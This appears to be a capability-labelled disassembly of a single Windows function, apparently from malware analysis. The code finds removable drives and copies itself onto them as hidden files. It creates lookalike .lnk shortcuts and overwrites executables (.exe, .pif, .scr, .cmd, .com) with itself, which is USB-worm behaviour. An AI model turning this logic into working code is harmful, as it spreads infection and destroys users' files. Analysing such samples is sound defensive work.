Function at 0x402930
Capabilities:
Copy file
Delete file
Enumerate files on windows
Get common file path
Get disk information
Get file attributes
Move file
Persist via lnk shortcut
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x19a0
call fcn.0040adc0
push esi
push edi
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0
mov ecx, 0xd
mov esi, str.BCDEFGHIJKLMNOPQRSTUVWXYZ
lea edi, [ebp - 0x4dc]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x1a
mov esi, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
lea edi, [ebp - 0x4a8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x208
lea eax, [ebp - 0x19a0]
push eax
call fcn.00402250
add esp, 8
push 0x208
lea ecx, [ebp - 0x420]
push ecx
call fcn.00402250
add esp, 8
lea edx, [ebp - 0x19a0]
push edx
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x412e20
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x412e20
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x1794], eax
mov dword [ebp - 0x424], 0
jmp 0x4029f4
mov ecx, dword [ebp - 0x424]
add ecx, 1
mov dword [ebp - 0x424], ecx
lea edx, [ebp - 0x4dc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp dword [ebp - 0x424], eax
jge 0x403006
mov eax, dword [ebp - 0x424]
mov cx, word [ebp + eax*2 - 0x4dc]
mov word [ebp - 0x42c], cx
mov word [ebp - 0x42a], 0x3a
mov word [ebp - 0x428], 0
mov edx, dword [ebp - 0x424]
mov ax, word [ebp + edx*2 - 0x4dc]
mov word [ebp - 0x214], ax
mov word [ebp - 0x212], 0x3a
mov word [ebp - 0x210], 0x5c
mov word [ebp - 0x20e], 0
lea ecx, [ebp - 0x42c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 0x4e0], eax
cmp dword [ebp - 0x4e0], 2
jne 0x403001
push 0xa
lea edx, [ebp - 0x116c]
push edx
call fcn.00402250
add esp, 8
push 0x208
lea eax, [ebp - 0x1160]
push eax
call fcn.00402250
add esp, 8
mov ecx, dword [ebp - 0x1794]
push ecx
lea edx, [ebp - 0x42c]
push edx
push str._s_s
lea eax, [ebp - 0xb40]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x80
lea ecx, [ebp - 0xb40]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0xb40]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0xb40]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x1174], eax
cmp dword [ebp - 0x1174], 0xffffffff
je 0x402b35
mov ecx, dword [ebp - 0x1174]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0xb40]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x402b3a
jmp 0x4029e5
push 0x104
lea eax, [ebp - 0xd48]
push eax
call fcn.00402250
add esp, 8
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0xd4c]
push ecx
push 0
push 0
lea edx, [ebp - 0x214]
push edx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov eax, dword [ebp - 0xd4c]
push eax
call fcn.004025d0
add esp, 4
push 7
lea ecx, [ebp - 0xd48]
push ecx
call fcn.00402600
add esp, 8
push str..exe
lea edx, [ebp - 0xd48]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x42c]
push eax
push str._s
lea ecx, [ebp - 0x116c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x730]
push edx
lea eax, [ebp - 0x116c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0xffffffff
je 0x402f62
lea ecx, [ebp - 0xd48]
push ecx
lea edx, [ebp - 0x704]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x402f46
push 0x208
lea eax, [ebp - 0x1380]
push eax
call fcn.00402250
add esp, 8
push 0x208
lea ecx, [ebp - 0xf58]
push ecx
call fcn.00402250
add esp, 8
push 0x208
lea edx, [ebp - 0x938]
push edx
call fcn.00402250
add esp, 8
push 0x104
lea eax, [ebp - 0x208]
push eax
call fcn.00402250
add esp, 8
lea ecx, [ebp - 0x704]
push ecx
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 0x1170], 0
jmp 0x402c7e
mov eax, dword [ebp - 0x1170]
add eax, 1
mov dword [ebp - 0x1170], eax
lea ecx, [ebp - 0x704]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp dword [ebp - 0x1170], eax
jge 0x402cd6
mov edx, dword [ebp - 0x1170]
movzx eax, word [ebp + edx*2 - 0x208]
test eax, eax
jne 0x402ca7
jmp 0x402cd6
mov ecx, dword [ebp - 0x1170]
movzx edx, word [ebp + ecx*2 - 0x208]
cmp edx, 0x20
jne 0x402cd4
mov eax, dword [ebp - 0x1170]
mov word [ebp + eax*2 - 0x208], 0x5f
mov dword [ebp - 0x430], 1
jmp 0x402c6f
cmp dword [ebp - 0x430], 0
je 0x402d65
push 0x104
lea ecx, [ebp - 0x1588]
push ecx
call fcn.00402250
add esp, 8
push 0x104
lea edx, [ebp - 0x1790]
push edx
call fcn.00402250
add esp, 8
lea eax, [ebp - 0x704]
push eax
lea ecx, [ebp - 0x42c]
push ecx
push str._s_s
lea edx, [ebp - 0x1588]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x42c]
push ecx
push str._s_s
lea edx, [ebp - 0x1790]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x1790]
push eax
lea ecx, [ebp - 0x1588]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov edx, dword [ebp - 0x730]
and edx, 0x10
je 0x402d7a
mov dword [ebp - 0x434], 1
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x42c]
push ecx
push str._s_s.lnk
lea edx, [ebp - 0x1380]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x42c]
push ecx
push str._s_s
lea edx, [ebp - 0xf58]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push str..lnk
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x402dff
push 0x80
lea ecx, [ebp - 0xf58]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0xf58]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x402f46
push str..exe
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
jne 0x402e6d
push str..pif
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
jne 0x402e6d
push str..scr
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
jne 0x402e6d
push str..cmd
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
jne 0x402e6d
push str..com
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x402eec
lea edx, [ebp - 0xf58]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 0x20c], eax
mov eax, dword [ebp - 0x20c]
and eax, 1
jne 0x402ea1
mov ecx, dword [ebp - 0x20c]
and ecx, 2
jne 0x402ea1
mov edx, dword [ebp - 0x20c]
and edx, 4
je 0x402eea
push 0x80
lea eax, [ebp - 0xf58]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0xf58]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea edx, [ebp - 0xf58]
push edx
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ecx, dword [ebp - 0x20c]
push ecx
lea edx, [ebp - 0xf58]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
jmp 0x402f46
lea eax, [ebp - 0x1380]
push eax
lea ecx, [ebp - 0x938]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [ebp - 0x434]
push edx
lea eax, [ebp - 0x938]
push eax
lea ecx, [ebp - 0xd48]
push ecx
lea edx, [ebp - 0x704]
push edx
call fcn.00402670
add esp, 0x10
test eax, eax
jne 0x402f46
push 6
lea eax, [ebp - 0xf58]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 5
lea ecx, [ebp - 0x1380]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x730]
push edx
mov eax, dword [ebp - 0x438]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x402be3
lea ecx, [ebp - 0xd48]
push ecx
lea edx, [ebp - 0x42c]
push edx
push str._s_s
lea eax, [ebp - 0x1160]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x80
lea ecx, [ebp - 0x1160]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x1160]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea eax, [ebp - 0x1160]
push eax
lea ecx, [ebp - 0x420]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 6
lea edx, [ebp - 0x1160]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 6
push 3
push 0
push 3
push 0x80000000
lea eax, [ebp - 0x1160]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [0x411e6c]
mov dword [ecx*4 + 0x4136c0], eax
mov edx, dword [0x411e6c]
add edx, 1
mov dword [0x411e6c], edx
jmp 0x4029e5
pop edi
pop esi
mov esp, ebp
pop ebp
ret